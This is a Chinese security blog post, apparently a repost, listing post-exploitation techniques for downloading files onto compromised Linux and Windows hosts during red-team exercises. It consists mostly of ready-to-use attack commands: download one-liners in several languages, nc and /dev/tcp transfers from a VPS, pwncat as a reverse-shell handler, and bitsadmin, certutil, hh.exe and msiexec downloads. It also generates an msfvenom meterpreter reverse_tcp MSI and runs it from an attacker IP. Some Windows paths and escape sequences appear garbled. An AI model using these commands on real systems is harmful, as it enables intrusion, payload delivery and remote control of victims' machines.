攻防演练20个后渗透文件下载技巧

admin 2025年6月8日09:24:36评论8 views字数 3730阅读12分26秒阅读模式

Linux

wget

wget http://ip:port/文件

curl

curl命令除了用于访问网站也可以用于下载文件,用法为:

curl -O http://ip:port/文件
攻防演练20个后渗透文件下载技巧

php

php -r "file_put_contents('保存到本地的路径', fopen('远程文件的URL', 'r'));"
攻防演练20个后渗透文件下载技巧

python

如果你拿到shell的是一个python的站,可以用python执行代码实现文件下载:

python -c "import urllib.request;urllib.request.urlretrieve('远程文件的URL', '保存到本地的路径')"

ruby

ruby -e "require 'open-uri'; open('远程文件的URL') {|f| File.open('保存到本地的路径', 'wb') {|file| file.puts f.read} }"

perl

perl -e "use LWP::Simple; getstore('远程文件的URL', '保存到本地的路径')"

nc

如果想从外网向目标服务器上传数据,首先在vps上开启

nc -lvvp 1234 < test.txt

然后在目标服务器上输入

nc VPS_IP 1234 > test.txt

自定义Linux函数

linux里可以把一些重复使用的命令封装成一个集合,之后可以使用函数名调用,因此我们可以自己写一个download函数,大概原理就是使用/dev/tcp设备文件与服务器建立TCP连接,并发送HTTP请求获取文件内容,最后将文件内容打印到标准输出,最后把输出重定向就可以获得文件了。在命令行输入:

function DOWNLOAD() {

url=$1

proto="http://"

host=${url/$proto/}

server=${host%%/*}

path=${host#*/}

DOC=/${path// /}

HOST=${server/:*/}

PORT=${server/*:/}

[[ -n ${PORT} ]] || PORT=80

PORT=$(( PORT + 0 ))

exec 3<>/dev/tcp/${HOST}/${PORT}

echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnrn" >&3

while IFS= read -r line ; do

[[ "${line}" == $'r' ]] && break

done <&3

nul='�'

while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do

printf "%s${nul}" "${x}"

done <&3

exec 3>&-

}

直接复制粘贴到shell环境中然后接着输入

DOWNLOAD http://url:port/fscan >fscan

pwncat

这个工具也是看的其他师傅博客了解到的工具确实好用我直接复制粘贴了他的

pwncat是一款功能强大的反向Shell&BindShell处理工具,同时也是一个主要针对Linux系统为测试目标的后渗透漏洞利用开发平台,最近开发者已经加入了对windows系统的支持。

pwncat可以用于代替nc进行反弹shell的接收,pwncat可以拦截与远程shell的原始通信,并允许用户在远程主机上执行自动化操作,包括枚举、植入安装甚至权限升级。同时,pwncat还会自动优化shell,包括但不限于:

  • 在远程 shell 中禁用历史记录
  • 规范化 shell 提示符
  • 寻找有用的二进制文件
  • 尝试生成一个伪终端(pty)以进行完整的交互式会话

pwncat官方出了操作文档:https://pwncat.readthedocs.io/en/latest/commands/download.html,里面介绍了一些插件功能:

  • Alias:命令取别名
  • Back:从pwncat返回远程shell(按ctrl D可以从远程shell返回pwncat)
  • Bind:绑定命令
  • Connect:建立 pwncat 会话,实现反向和绑定 shell 的通信通道
  • Download:通过利用 gtfobins框架定位受害主机上的文件读取器并通过管道将内容写回来实现文件读取
  • Escalate:用于提权
  • lcd:更改pwncat实例的本地工作目录
  • load:从python包加载自定义pwncat模块
  • Listen:创建一个新的后台侦听器以通过反向 shell 负载异步建立会话
  • Listeners:管理活动和停止的侦听器
  • lpwd:打印当前本地工作目录
  • run:访问pwncat模块
  • Info:获取指定模块的文档/帮助信息
  • Search:搜索模块
  • Use:进入模块的上下文
  • Upload:通过gtfobins模块枚举远程主机上可打印或者可写二进制数据的本地文件以实现文件的上传,好处是上传通过与shell相同的连接进行,不需要格外的连接。

因此pwncat里有现成的文件上传插件以及一堆其他好用的功能,用于代替nc接收反弹的shell非常方便

下载路径:https://github.com/calebstewart/pwncat

安装

pip install pwncat-cs

然后在终端输入

pwn-cs -lp  1234 
攻防演练20个后渗透文件下载技巧

这样就可以监听了,然后收到shell之后会进入到pwncat终端模式这时候想要回到shell模式只需输入back就行

攻防演练20个后渗透文件下载技巧

按ctrl D可以从远程shell返回pwncat,下面就来试试如何下载一个文件

download /root/s.sh ./sh
攻防演练20个后渗透文件下载技巧

上传一个文件

upload ./s.sh /root/s.sh
攻防演练20个后渗透文件下载技巧

msf

msf 获取shell之后可以上传和下载文件参考 https://blog.csdn.net/weixin_43847838/article/details/127623761

windows

powershell

$p = new-object system.net.webclient  $p.downloadfile("http://xx.xx.xx.xxfile","c:xxxxxfile")|

vbs

Set args = Wscript.Arguments  
Url = "http://192.168.43.68:8000/1.py"  
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  
dim bStrm: Set bStrm = createobject("Adodb.Stream")  
xHttp.Open "GET", Url, False  
xHttp.Send  
with bStrm  
    .type = 1 '  
    .open  
    .write xHttp.responseBody  
    .savetofile " C:userspinofile1.py", 2 '  
end with

把这段脚本保存为test.vbs然后运行

cscript test.vbs

FTP

这个需要攻击者开启一个ftp服务,然后在目标服务器上直接

ftp ip 

get file

bitsadmin

第一种

bitsadmin /transfer myjob1 /download /priority normal http://192.168.109.128/test/test.txt C:UsersbajiDesktoptest.txt

第二种

bitsadmin /rawreturn /transfer getfile http://192.168.1.103/test/test.txt C:UserssnowwolfDesktoptest.txt

第三种

bitsadmin /rawreturn /transfer getpayload http://192.168.1.103/test/test.txt C:UserssnowwolfDesktoptest.txt

第四种

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.1.103/test/test.txt" "C:UserssnowwolfDesktoptest.txt"

Certuil

certutil.exe -urlcache -split -f http://192.168.1.103/test/test.exe test.exe

hh.exe

hh.exe http://192.168.1.103/test/test.txt
攻防演练20个后渗透文件下载技巧

下载的文件是以html的方式进行打开,但是如果是应用程序的话发现就可以做到下载的效果

Msiexec.exe

系统进程,用于安装MSI,一般更新或者安装软件时会碰到,支持远程下载功能 先在Kali Linux端生成MSI文件,输入命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.103 lport=7777 -f msi > test.msi

此时在msf中开启监听

然后在windows下载msi文件,因为msi具有下载执行的特性所以会直接拿到会话

msiexec.exe /q /i http://192.168.1.103/test.msi

原文始发于微信公众号(土拨鼠的安全屋):攻防演练20个后渗透文件下载技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日09:24:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防演练20个后渗透文件下载技巧https://cn-sec.com/archives/3774109.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息